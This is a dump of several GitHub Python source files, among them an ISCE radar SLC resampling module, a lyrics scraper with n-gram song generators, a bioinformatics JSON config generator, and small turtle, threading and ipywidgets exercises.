is None and parent_data['id_site'] is not None): self.local.db_instance.id_site = parent_data['id_site']\n if (self.local.db_instance.entry_type is None): self.local.db_instance.entry_type = parent_data['entry_type']\n #\n\n if (isinstance(parent_object, OwnableInstance)):\n if (is_acl_missing): self._copy_acl_entries_from_instance(parent_object)\n if (is_permission_missing): self._copy_default_permission_settings_from_instance(parent_object)\n #\n #\n #\n\n def set_data_attributes(self, **kwargs):\n \"\"\"\nSets values given as keyword arguments to this method.\n\n:since: v0.2.00\n \"\"\"\n\n with self, self.local.connection.no_autoflush:\n DataLinker.set_data_attributes(self, **kwargs)\n\n if (\"entry_type\" in kwargs): self.local.db_instance.entry_type = kwargs['entry_type']\n if (\"owner_type\" in kwargs): self.local.db_instance.owner_type = kwargs['owner_type']\n if (\"author_id\" in kwargs): self.local.db_instance.author_id = kwargs['author_id']\n if (\"author_ip\" in kwargs): self.local.db_instance.author_ip = kwargs['author_ip']\n if (\"time_published\" in kwargs): self.local.db_instance.time_published = int(kwargs['time_published'])\n if (\"description\" in kwargs): self.local.db_instance.description = Binary.utf8(kwargs['description'])\n if (\"locked\" in kwargs): self.local.db_instance.locked = kwargs['locked']\n if (\"guest_permission\" in kwargs): self.local.db_instance.guest_permission = kwargs['guest_permission']\n if (\"user_permission\" in kwargs): self.local.db_instance.user_permission = kwargs['user_permission']\n\n if (\"content\" in kwargs):\n if (self.local.db_instance.rel_text_entry is None):\n self.local.db_instance.rel_text_entry = _DbTextEntry()\n self.local.db_instance.rel_text_entry.id = self.local.db_instance.id\n db_text_entry = self.local.db_instance.rel_text_entry\n else: db_text_entry = self.local.db_instance.rel_text_entry\n\n db_text_entry.content = Binary.utf8(kwargs['content'])\n #\n #\n #\n#\n","repo_name":"dNG-git/pas_contentor","sub_path":"src/dNG/data/contentor/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":7898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42585098895","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_lyric_data():\n URL = 'http://www.songlyrics.com/top-songs-lyrics.html'\n page = requests.get(URL)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n results = soup.find(id='wrapper')\n links = str(results.find_all('td', class_='td-item td-last')).split(',')\n to_remove = []\n temp = []\n final = ''\n not_english = ['http://www.songlyrics.com/loonie/tao-lang-lyrics/',\n 'http://www.songlyrics.com/prince-royce/darte-un-beso-lyrics/',\n 'http://www.songlyrics.com/banda-el-recodo-de-cruz-lizarraga/vas-a-llorar-por-m-lyrics/',\n 'http://www.songlyrics.com/banda-los-recoditos/mi-ultimo-deseo-lyrics/',\n 'http://www.songlyrics.com/aventura/el-malo-lyrics/',\n 'http://www.songlyrics.com/slank/ku-tak-bisa-lyrics/',\n 'http://www.songlyrics.com/ron-henley/hagdan-lyrics/',\n 'http://www.songlyrics.com/stromae/tous-les-mmes-lyrics/',\n 'http://www.songlyrics.com/prince-royce/el-amor-que-perdimos-lyrics/',\n 'http://www.songlyrics.com/yeng-constantino/alaala-lyrics/',\n 'http://www.songlyrics.com/yeng-constantino/chinito-lyrics/',\n 'http://www.songlyrics.com/anitta/zen-lyrics/',\n 'http://www.songlyrics.com/sarah-geronimo/tayo-lyrics/',\n 'http://www.songlyrics.com/rio-febrian/jenuh-lyrics/']\n\n for i in range(len(links)):\n http = 0\n\n for _ in range(len(links[i]) - 3):\n end_http = links[i][_] + links[i][_ + 1] + links[i][_ + 2]\n if end_http == '/\" ':\n links[i] = links[i][42:_ + 1]\n http = 1\n break\n\n if http == 0:\n to_remove.append(i)\n\n for count, remove in enumerate(to_remove):\n links.remove(links[remove - count])\n\n for count, link in enumerate(links):\n songs = count\n print('Collecting lyrics from: ', link)\n page = requests.get(link)\n soup = BeautifulSoup(page.content, 'html.parser')\n song_lyrics = str(soup.find(id='songLyricsDiv')).split('
\\r\\n')\n\n for i in range(len(song_lyrics)):\n for _ in song_lyrics[i].split():\n if link not in not_english:\n temp.append(_)\n print(songs - 15, 'songs with lyrics found')\n\n for word in range(len(temp)):\n for z in range(temp[word].count('<')):\n to_remove.clear()\n tag = 0\n for _ in range(len(temp[word])):\n if tag == 1:\n if temp[word][_] == '>':\n to_remove.append(_)\n tag = 0\n break\n\n if temp[word][_] == '<':\n to_remove.append(_)\n tag = 1\n\n if len(to_remove) == 1:\n temp[word] = temp[word][to_remove[0] + 1:]\n\n if len(to_remove) == 2:\n temp[word] = temp[word][:to_remove[0]] + temp[word][to_remove[1] + 1:]\n\n to_remove.clear()\n\n for not_a_word in range(len(temp)):\n if temp[not_a_word] == 'p':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word] == 'span':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:4] == 'id=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:8] == 'iComment':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:10] == 'data-chunk':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:6] == 'href=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:7] == 'class=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word] == '':\n to_remove.append(not_a_word)\n\n for count, remove in enumerate(to_remove):\n temp.remove(temp[remove - count])\n\n print('Number of data points (in words): ', len(temp))\n for i in temp:\n final += i\n final += ' '\n\n return final\n","repo_name":"Tennis-Ball/AI-Singer","sub_path":"lyrics_modules/get_lyric_data.py","file_name":"get_lyric_data.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"34901953347","text":"# -*- coding: utf-8 -*-\nfrom os.path import join,isfile,isdir,dirname,basename\nfrom shutil import copyfile\nimport getopt,os,sys,re\nimport io,json\nimport global_m as gb\nfrom datetime import date\n\n\n'''\nOrganization: MDIBL\nAuthor: Lucie N. Hutchins\nContact: lucie.hutchins@mdibl.org\nDate: June 2019\n\n'''\ndef get_header():\n header='''\n****************** json_generator ********************************************************\n\nThe tool generates sample-specific json files for a given experiment\n\n***************************************************************************************\n '''\n return header\n\ndef prog_usage():\n usage=get_header()\n usage+='''\n\n Usage: PROG [-h] -c path2project_runID_main_config/cfgs/pipeline.cfg [-j path2project_runID_json_template/cfgs/template.json] [-s fastq]\n Where:\n -h To show the usage\n -c path2runID/cfgs/pipeline.cfg or --cfg=path2runID/cfgs/pipeline.cfg ... required, \n -j path2runID/cfgs/template.json or --jtemp=path2runID/cfgs/template.json ... optional\n (default - gets template path from pipeline.cfg), \n -s fatsq.gz or --suffix=fastq.gz ... optional(default fastq), reads files suffix \n \n What It Does: Uses the json template to generate sample-specific json files under \n the location specified in the pipeline.cfg for json files. \n\n Example: \n python PROG -c path2results/teamName/projectName/runID/cfgs/pipeline.cfg -s fastq\n OR \n python PROG -c path2results/teamName/projectName/runID/cfgs/pipeline.cfg \n -j path2results/teamName/projectName/runID/cfgs/template.json\n OR\n python PROG --cfg=path2results/teamName/projectName/runID/cfgs/pipeline.cfg \n \n ASSUMPTIONS: \n 1) User has full permission to create sample-specific json files\n 2) The json template has been generated in the same directory as the pipeline.cfg file\n '''\n print(\"%s\"%(usage))\n##\n# A data model to store sample info\n#\nclass SampleDOM:\n def __init__(self,sample_id,reads_list,reads_suffix):\n self.id=sample_id\n self.reads=[]\n self.set_sample(reads_list,reads_suffix)\n\n def set_sample(self,reads_list,reads_suffix):\n if reads_list:\n for read_file in reads_list:\n read_file=read_file.strip()\n if read_file.startswith(self.id) and read_file.endswith(reads_suffix):\n self.reads.append(read_file)\n \n def get_read_file(self,sampleID,read_number):\n # Logic:\n # if the len of sample_reads array is one, return the first element\n # else:\n # use the map-reduced algorithm to get the right file name\n #\n if len(self.reads)<=0: return None\n elif len(self.reads)<2: \n try: \n return self.reads[0].replace(\".gz\",\"\")\n except:pass\n else:\n # Map step\n # Create a list of string tokens using one string(read_file)\n ## we want our regular expression to capture both \"_\" and non-alphanumeric characters\n try:\n token_file=self.reads[0].replace(sampleID,\"sample\")\n tokens=re.split(r'[\\W+|_]',token_file)\n ##Based on our standars readID is field#2 in the name\n read_id=tokens[1]\n if read_id.startswith(\"R\"):read_number=\"R\"+read_number\n # Create a dictionary with read_file:read_file.tokens key:value pair\n reads={}\n for read_file in self.reads:\n token_file=read_file.replace(sampleID,\"sample\")\n reads[read_file]=re.split(r'[\\W+|_]',token_file)\n # Reduction step - reduce each dict>value using string tokens\n for token in tokens:\n if token in read_number: continue\n for read_file in reads:\n if token in reads[read_file]:reads[read_file].remove(token)\n # Assembly and quantification step\n except:pass\n read_file=None\n for read in reads:\n if read_number in reads[read]:read_file=read\n return read_file.replace(\".gz\",\"\")\n\nif __name__== \"__main__\":\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hc:j:s:\", \n [\"help\", \"cfg=\",\"jtemp=\",\"suffix\"])\n except getopt.GetoptError as err:\n # print help information and exit:\n print(\"ERROR:%s\" % (str(err) )) # will print something like \"option -a not recognized\"\n prog_usage()\n sys.exit(1)\n #set program arguments\n json_template=None\n pipeline_config=None\n log_file=None\n json_base_dir=None\n design_file=None\n reads_suffix=\"fastq\"\n for o, a in opts:\n if o in (\"-c\", \"--cfg\"):pipeline_config = a\n elif o in (\"-j\",\"--jtemp\"):json_template = a\n elif o in (\"-s\",\"--suffix\"):reads_suffix = a\n elif o in (\"-h\", \"--help\"):\n prog_usage()\n sys.exit()\n else:\n assert False, \"unhandled option\"\n if pipeline_config is None or not isfile(pipeline_config):\n msg=\"ERROR: pipeline.cfg missing\"\n print(\"%s - Check %s\"%(msg,pipeline_config))\n prog_usage()\n sys.exit()\n #get project global environment variables \n # variables of interest for this step:\n # 1)LOG_BASE\n # 2)JSON_TEMPLATE\n # 3)PATH2_JSON_FILES\n # 4)DESIGN_FILE \n # 5)READS_BASE\n # 6)RUN_ID\n \n project_env=gb.loadEnv(pipeline_config) \n if not project_env[\"LOG_BASE\"]:\n print(\"ERROR: Log directory missing - see:%s\"%(project_env[\"LOG_BASE\"]))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not project_env[\"PATH2_JSON_FILES\"]:\n print(\"ERROR: Json files base directory missing - see:%s\"%(project_env[\"PATH2_JSON_FILES\"]))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not project_env[\"ORIGINAL_READS_BASE\"]:\n print(\"ERROR: Path to Reads files is incorrect - see:%s\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n sys.exit()\n\n if not isdir(project_env[\"LOG_BASE\"]):\n gb.mkdir_p(project_env[\"LOG_BASE\"])\n log_file=join(project_env[\"LOG_BASE\"],basename(__file__)+\".log\")\n if not isdir(project_env[\"PATH2_JSON_FILES\"]):\n gb.mkdir_p(project_env[\"PATH2_JSON_FILES\"])\n json_base_dir=project_env[\"PATH2_JSON_FILES\"]\n if json_template is None: \n json_template=project_env[\"JSON_TEMPLATE\"]\n design_file=project_env[\"DESIGN_FILE\"]\n project_run_id=\"\"\n if \"RUN_ID\" in project_env:\n project_run_id=project_env[\"RUN_ID\"]\n\n if not isdir(json_base_dir):\n print(\"ERROR: Json files base directory does not exist - see:%s\"%(json_base_dir))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not isfile(design_file): \n print(\"ERROR: The design file is missing - see:%s\"%(design_file))\n sys.exit()\n if not isfile(json_template):\n print(\"ERROR: Json template file is missing - see:%s\"%(json_template))\n sys.exit()\n ## Load json template into an object\n json_obj=None\n with open(json_template) as f:\n json_obj=json.load(f)\n if json_obj is None:\n print(\"ERROR: Failed to open Json template - see:%s\"%(json_template))\n sys.exit()\n ##Enforce our standards by making a copy of json template under this runID cfgs directory if needed\n cfgs_base=dirname(pipeline_config).strip()\n json_template_base=dirname(json_template).strip()\n json_template_file=basename(json_template).strip()\n if cfgs_base not in json_template_base: \n copyfile(json_template,join(cfgs_base,json_template_file))\n \n log=open(log_file,'w') \n log.write(\"**********************************\\n\")\n log.write(\"**********************************\\n\")\n log.write(\"Date:%s\\n\"%( date.today()))\n log.write(\"\\n\")\n log.write(\"Log file:%s\\n\"%(log_file))\n log.write(\"Json template:%s\\n\"%(json_template)) \n log.write(\"Json files base directory:%s\\n\"%(json_base_dir)) \n log.write(\"Experiment Design File:%s\\n\"%(design_file))\n log.write(\"Experiment Reads base:%s\\n\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n log.write(\"Experiment Run config File:%s\\n\"%(pipeline_config))\n bad_format=False\n json_obj[\"project_run_id\"]=project_run_id\n ## get list of reads file names\n reads_base=project_env[\"ORIGINAL_READS_BASE\"]\n reads=[f for f in os.listdir(reads_base) if isfile(join(reads_base,f))]\n with open(design_file,'r') as f:\n try:\n for line in f.readlines():\n if \"Sample\" in line:continue\n if \"sample_id\" in line:continue\n #Remove leading and trailing whitespace from line\n line=line.strip()\n fields=line.split('\\t')\n sample=SampleDOM(fields[0].strip(),reads,reads_suffix)\n read_file_format=sample.id+\"[delimiter]readID[delimiter][...]\"+reads_suffix\n log.write(\"----------------------------\\n\")\n log.write(\"SampleID:%s\\n\"%(sample.id))\n log.write(\"Read files suffix:%s\\n\"%(reads_suffix))\n log.write(\"Number of Reads:%d\\n\"%(len(sample.reads)))\n \n if len(sample.reads)<=0:\n try:\n log.write(\"ERROR: Bad read files name - expected format - %s\\n\"%(read_file_format))\n log.write(\"Original reads files are expected under - %s\\n\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n except:pass\n bad_format=True\n continue\n read1=join(project_env[\"READS_BASE\"],sample.get_read_file(sample.id,\"1\"))\n read2=None\n sample_json_obj=json_obj\n sample_json_file=join(json_base_dir,sample.id+\".\"+project_env[\"ORGANISM\"]+\".json\")\n sample_json_obj[\"input_fastq_read1_files\"][0][\"path\"]=read1\n if len(sample.reads)>1:read2=join(project_env[\"READS_BASE\"],sample.get_read_file(sample.id,\"2\"))\n log.write(\" READ1:%s\\n\"%(read1))\n if read2 is not None:\n log.write(\" READ2:%s\\n\"%(read2))\n sample_json_obj[\"input_fastq_read2_files\"][0][\"path\"]=read2\n log.write(\"Json file:%s\\n\"%(sample_json_file))\n try:\n to_unicode = unicode\n except NameError:\n to_unicode = str\n with io.open(sample_json_file, 'w', encoding='utf8') as outfile:\n str_ = json.dumps(sample_json_obj,indent=2, sort_keys=True,separators=(',', ': '), ensure_ascii=False)\n outfile.write(to_unicode(str_))\n print(\"Sample:%s\\nJson file:%s\\n\"%(sample.id,sample_json_file))\n except:pass\n if bad_format:\n log.write(\"Failed\\n\")\n print(\"Program failed - check the log file:%s\\n\"%(log_file))\n sys.exit(1)\n log.write(\"Program complete\\n\")\n print(\"Program complete\\n\")\n sys.exit()\n","repo_name":"mdibl/biocore_utils","sub_path":"src/python/json_generator.py","file_name":"json_generator.py","file_ext":"py","file_size_in_byte":11157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"3630512358","text":"import turtle as t\nfrom turtle import Screen\n\ntim = t.Turtle()\nscreen = Screen()\n\n########### Challenge 2 - Draw a Dashed Line ########\nwin_width = screen.window_width()\ntim.shape(\"turtle\")\ntim.pencolor('red')\ntim.penup()\ntim.setx(-1 * (win_width / 2))\ntim.width(3)\ntim.pendown()\n\nfor _ in range(int(win_width / 20)):\n if abs(tim.xcor()) > win_width / 2:\n tim.right(90)\n\n tim.forward(10)\n tim.penup()\n tim.forward(10)\n tim.pendown()\n\n\nscreen.exitonclick()\n","repo_name":"cuauhtlahuac/100DaysOfPythonCode","sub_path":"day18/draw_dashed_line.py","file_name":"draw_dashed_line.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"27046373153","text":"import random\nimport sys\nn = 100\nif len(sys.argv) == 3:\n\tif int(sys.argv[2]) < 1:\n\t\tprint(\"TOO LOW OF VALUE FOR N\")\n\telse:\n\t\tn = int(sys.argv[2])\n\t\n\nf = open(sys.argv[1], encoding='utf-8')\nlyrics = f.readlines()\n\nstrings = \" \".join(lyrics)\nstrings = strings.lower()\nstrLyrics = \" \".join(lyrics)\nstrLyrics = strLyrics.replace(\"?\",\" \")\nstrLyrics = strLyrics.replace(\"\\n\",\" \")\nstrLyrics = strLyrics.replace('\"',\" \")\nstrLyrics = strLyrics.replace(\",\",\" \")\nstrLyrics = strLyrics.lower()\nstrLyrics = strLyrics.replace(\"-\",\" \")\nstrLyrics = strLyrics.replace(\".\",\" \")\nstrLyrics = strLyrics.replace(\":\",\" \")\nstrLyrics = strLyrics.replace(\";\",\" \")\nstrLyrics = strLyrics.replace(\"(\",\" \")\nstrLyrics = strLyrics.replace(\")\",\" \")\nstrLyrics = strLyrics.replace(\"!\",\" \")\nblack_sabbath = strLyrics.split(' ') \n\n\n#START OF UNIGRAMS\nunigrams = {} #empty Dictionary\n#This for loop creates a unigram dictionary and counts each word.\nfor ozzy_token in black_sabbath:\n\tif ozzy_token != \"\":\n\n\t\tif unigrams.get(ozzy_token) == None:\n\t\t\tunigrams[ozzy_token] = 1\n\n\t\telse:\n\t\t\tnum = unigrams[ozzy_token]\n\t\t\tunigrams[ozzy_token] = num + 1\n\n#Testing the Unigram Model\nkey = list(unigrams.keys())\nval = list(unigrams.values())\nsentence = random.choices(key, weights = val, k = n)\nstr2 = \" \".join(sentence)\n\n\n#UNCOMMENT\nprint(\"UNIGRAMS MODEL\")\nprint(str2)\n#UNCOMMENT\nprint(\" \")\n\n#UNIGRAMS END\n######################################################\n#BIGRAMS START\nprint(\"BIGRAMS MODEL\")\nbigrams = {}\nfor i in range(len(black_sabbath)):\n\tif black_sabbath[i] != \"\" and black_sabbath[i+1] != \"\":\n\t\t#if this bigram doesn't exist\n\n\t\tif bigrams.get(black_sabbath[i]) == None:\n\t\t\tsecond = {black_sabbath[i+1] :1}\n\t\t\tbigrams[black_sabbath[i]] = second\n\t\n\t\t#If this bigram exists with this word\n\t\telif bigrams.get(black_sabbath[i]) != None:\n\t\t\texisting = bigrams[black_sabbath[i]]\n\t\t\t#if existing first word doesn't have this second word\n\t\t\tif(existing.get(black_sabbath[i+1]) == None ):\n\t\t\t\texisting[black_sabbath[i + 1]] = 1\n\t\t\t\tbigrams[black_sabbath[i]].update(existing)\n\t\t\telse:\n\t\t\t#if this bigram occured already add one to its count\n\t\t\t\tnum = existing[black_sabbath[i+1]]\n\t\t\t\texisting[black_sabbath[i+1]] = num + 1\n\t\t\t\tbigrams[black_sabbath[i]] = existing\n\n\ni = 0\nuni = random.choices(key,weights = val, k = 1)\nnextWord = \" \".join(uni)\nsong = []\nwhile i < n:\n\tif bigrams.get(nextWord,None) == None:\n\t\tuni = random.choices(key,weights = val, k = 1)\n\t\tnextWord = \" \".join(uni)\n\telse:\n\t\ttemp = bigrams.get(nextWord) \t\n\t\tkey2 = (list(temp.keys())) \n\t\tvals2 = (list(temp.values()))\n\t\tphrase = random.choices(key2, weights = vals2, k = 1)\n\t\tsong.append(\" \" + \" \".join(phrase))\n\t\tnextWord = \" \".join(phrase)\n\t\ti+= 1\n\nprint(\"\".join(song).strip())\n\n\n\n#END OF BIGRAMS\n######################################################\n#START OF TRIGRAMS\ntrigrams = {} \nfor i in range(len(black_sabbath)):\n\tif black_sabbath[i] != \"\" and black_sabbath[i+1] != \"\" and black_sabbath[i+2] != \"\": \n\t\t#Case 1: First word in trigram doesn't exist\n\t\tif trigrams.get(black_sabbath[i]) == None:\n\t\t\tnext_two = {black_sabbath[i+1] :{black_sabbath[i+2]:1}} \n\t\t\ttrigrams[black_sabbath[i]] = next_two\t\n\n\t\t#Case 2: First word exists, second word doesn't exist.\n\t\telif trigrams.get(black_sabbath[i]) != None:\n\t\t\tfirst_word = trigrams[black_sabbath[i]]\n\t\t\t\n\t\n\t\t\t#if second word doesn't exist add it. \n\t\t\tif first_word.get(black_sabbath[i+1]) == None:\n\t\t\t\tnext_two = {black_sabbath[i+1] :{black_sabbath[i+2]:1}}\n\t\t\t\ttrigrams[black_sabbath[i]].update(next_two)\n\t\t\t#second Word is there third isn't\n\t\t\telif first_word.get(black_sabbath[i+1]) != None: \n\t\t\t\tsecond_word = trigrams[black_sabbath[i]][black_sabbath[i+1]]\t\t\t\t\n\t\t\t\t#HAS THIRD WORD\n\t\t\t\tif second_word.get(black_sabbath[i+2]) != None:\n\t\t\t\t\tnum = second_word[black_sabbath[i+2]]\n\t\t\t\t\ttrigrams[black_sabbath[i]][black_sabbath[i+1]][black_sabbath[i+2]] = num + 1\n\t\t\t\t#NO THIRD WORD\t \n\t\t\t\telif second_word.get(black_sabbath[i+2]) == None:\n\t\t\t\t\tlast = {black_sabbath[i+2]: 1}\n\t\t\t\t\ttrigrams[black_sabbath[i]][black_sabbath[i+1]].update(last)\n\n\n\n\t\nprint(\" \")\nprint(\"TRIGRAMS\")\ni = 0\nuni = random.choices(key,weights = val, k = 1)\nnextWord = \" \".join(uni)\nsong = []\nwhile i < n:\n\t##If no trigram starts with this.\n\tif trigrams.get(nextWord) == None:\t\t\n\t\tuni = random.choices(key,weights = val, k = 1)\n\t\tnextWord = \" \".join(uni)\t\n\telse: #If there is a trigram\n\t\tfirst = trigrams.get(nextWord) #FIRST WORD\n\t\ttemp = list(first.keys())\t\n\t\tsecond = random.choices(temp) #SECOND WORD\t\n\t\tthird = first.get(second[0]) #RN ITS A DICT\n\t\tthird_keys = list(third.keys())\n\t\tthird_vals = list(third.values())\n\t\tthird = random.choices(third_keys,weights=third_vals, k = 1)\n\t\ttri_list = [nextWord,second[0]]\n\t\tphrase = \" \".join(tri_list)\t\n\t\tsong.append(phrase)\n\t\tnextWord = \"\".join(third[0])\n\t\ti = i+1\n\n\n\t\n\n\t\n\n\nprint(\" \".join(song).strip())\n#END OF TRIGRAMS\n\n\n\n\n\n\n\n\n","repo_name":"MicahHarlan/BlackSabbathSongGenerator","sub_path":"mharlan_ngram.py","file_name":"mharlan_ngram.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"9120140441","text":"# import threading\nimport concurrent.futures\nimport time\n\nstart = time.perf_counter()\n\n\ndef do_smth(sec):\n print(f\"Sleep {sec} second(s)!\")\n time.sleep(sec)\n return f\"Done sleeping {sec} second(s)\"\n\nwith concurrent.futures.ThreadPoolExecutor() as executor:\n secs = [5, 4, 3, 2, 1]\n results = executor.map(do_smth, secs)\n for result in results:\n print(result)\n\n\n\n # results = [executor.submit(do_smth, sec) for sec in secs]\n # for f in concurrent.futures.as_completed(results):\n # print(f.result())\n\n\n# threads = []\n# for _ in range(10):\n# t = threading.Thread(target=do_smth, args = [1.5])\n# t.start()\n# threads.append(t)\n\n# for thread in threads:\n# thread.join()\n\nprint(f\"Finished in {time.perf_counter() - start} seconds!\")","repo_name":"dkleptsov/small_projects","sub_path":"multithreading/multithread.py","file_name":"multithread.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"16650273581","text":"\"\"\"Set of numbers displayed after selecting blue or purple after task.\"\"\"\n\nimport ipywidgets as widgets\nfrom ipywidgets import VBox, HBox\nfrom IPython.display import display\nimport time\n\n# Set of buttons shown after player selects blue or purple\nthree_button = widgets.Button(description='3')\nfour_button = widgets.Button(description='4')\nseven_button = widgets.Button(description='7')\neight_button = widgets.Button(description='8')\nout = widgets.Output()\n\n# Arranges the buttons into a 2x2 table\nleft_box = VBox([three_button, seven_button])\nright_box = VBox([four_button, eight_button])\nout_greater = HBox([left_box, right_box])\n \ndisplay(out_greater, out)\n\ndef three_chosen(clicked):\n \"\"\"After the three button is chosen, a statement corresponding \n to the three button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out: \n print('\\nHere is your task:\\n' \n '\\nEat an apple (or any fruit of your choice)\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the three button is clicked on \nthree_button.on_click(three_chosen)\n\ndef four_chosen(clicked):\n \"\"\"After the four button is chosen, a statement corresponding \n to the four button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nTreat yourself with your favorite dessert!\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n\n return print('Thanks for playing!')\n\n# Allows this function to occur only when the four button is clicked on \nfour_button.on_click(four_chosen)\n\ndef seven_chosen(clicked):\n \"\"\"After the seven button is chosen, a statement corresponding \n to the seven button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nTake a 5 minute break\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the seven button is clicked on\nseven_button.on_click(seven_chosen) \n\ndef eight_chosen(clicked):\n \"\"\"After the eight button is chosen, a statement corresponding \n to the eight button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nClean your desk\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the eight button is clicked on\neight_button.on_click(eight_chosen) ","repo_name":"ckwon822/COGS18Final","sub_path":"task_greater_numbers.py","file_name":"task_greater_numbers.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"10649739004","text":"#\n#\n\nimport isce\nimport isceobj\nimport stdproc\nfrom isceobj.Util.Poly2D import Poly2D\nimport logging\nfrom isceobj.Util.decorators import use_api\n\nimport os\nimport numpy as np\nimport shelve\n\nlogger = logging.getLogger('isce.insar.runResampleSubbandSlc')\n\n# Modified by V. Brancato 10.14.2019 added \"self\" as input parameter of resampleSLC\ndef resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, radarWavelength, coregDir,\n azoffname, rgoffname, azpoly = None, rgpoly = None, misreg=False):\n logger.info(\"Resampling secondary SLC\")\n\n imageSlc1 = referenceFrame.getImage().filename\n\n inimg = isceobj.createSlcImage()\n inimg.load(imageSlc2 + '.xml')\n inimg.setAccessMode('READ')\n\n prf = secondaryFrame.PRF\n\n doppler = secondaryFrame._dopplerVsPixel\n factor = 1.0 # this should be zero for zero Doppler SLC.\n coeffs = [factor * 2*np.pi*val/prf/prf for val in doppler]\n\n dpoly = Poly2D()\n dpoly.initPoly(rangeOrder=len(coeffs)-1, azimuthOrder=0, coeffs=[coeffs])\n\n rObj = stdproc.createResamp_slc()\n rObj.slantRangePixelSpacing = secondaryFrame.getInstrument().getRangePixelSize()\n #rObj.radarWavelength = secondaryFrame.getInstrument().getRadarWavelength()\n rObj.radarWavelength = radarWavelength\n rObj.dopplerPoly = dpoly \n\n # for now let's start with None polynomial. Later this should change to\n # the misregistration polynomial\n rObj.azimuthOffsetsPoly = azpoly\n rObj.rangeOffsetsPoly = rgpoly\n rObj.imageIn = inimg\n\n rngImg = isceobj.createImage()\n rngImg.load(rgoffname + '.xml')\n rngImg.setAccessMode('READ')\n\n aziImg = isceobj.createImage()\n aziImg.load(azoffname + '.xml')\n aziImg.setAccessMode('READ')\n\n width = rngImg.getWidth()\n length = rngImg.getLength()\n\n# Modified by V. Brancato on 10.14.2019 (if Rubbersheeting in range is turned on, flatten the interferogram during cross-correlation)\n if not self.doRubbersheetingRange:\n print('Rubber sheeting in range is turned off, flattening the interferogram during resampling')\n flatten = True\n print(flatten)\n else:\n print('Rubber sheeting in range is turned on, flattening the interferogram during interferogram formation')\n flatten=False\n print(flatten)\n# end of Modification\n \n rObj.flatten = flatten\n rObj.outputWidth = width\n rObj.outputLines = length\n rObj.residualRangeImage = rngImg\n rObj.residualAzimuthImage = aziImg\n\n if referenceFrame is not None:\n rObj.startingRange = secondaryFrame.startingRange\n rObj.referenceStartingRange = referenceFrame.startingRange\n rObj.referenceSlantRangePixelSpacing = referenceFrame.getInstrument().getRangePixelSize()\n rObj.referenceWavelength = radarWavelength\n \n # preparing the output directory for coregistered secondary slc\n #coregDir = self.insar.coregDirname\n\n os.makedirs(coregDir, exist_ok=True)\n\n # output file name of the coregistered secondary slc\n img = secondaryFrame.getImage() \n coregFilename = os.path.join(coregDir , os.path.basename(img.filename))\n\n imgOut = isceobj.createSlcImage()\n imgOut.setWidth(width)\n imgOut.filename = coregFilename\n imgOut.setAccessMode('write')\n\n rObj.resamp_slc(imageOut=imgOut)\n\n imgOut.renderHdr()\n\n return coregFilename\n\n\ndef runResampleSubbandSlc(self, misreg=False):\n '''Run method for split spectrum.\n '''\n\n if not self.doSplitSpectrum:\n print('Split spectrum not requested. Skipping...')\n return\n \n referenceFrame = self._insar.loadProduct( self._insar.referenceSlcCropProduct)\n secondaryFrame = self._insar.loadProduct( self._insar.secondarySlcCropProduct)\n\n# Modified by V. Brancato 10.14.2019\n\n if self.doRubbersheetingAzimuth:\n print('Using rubber in azimuth sheeted offsets for resampling sub-bands')\n 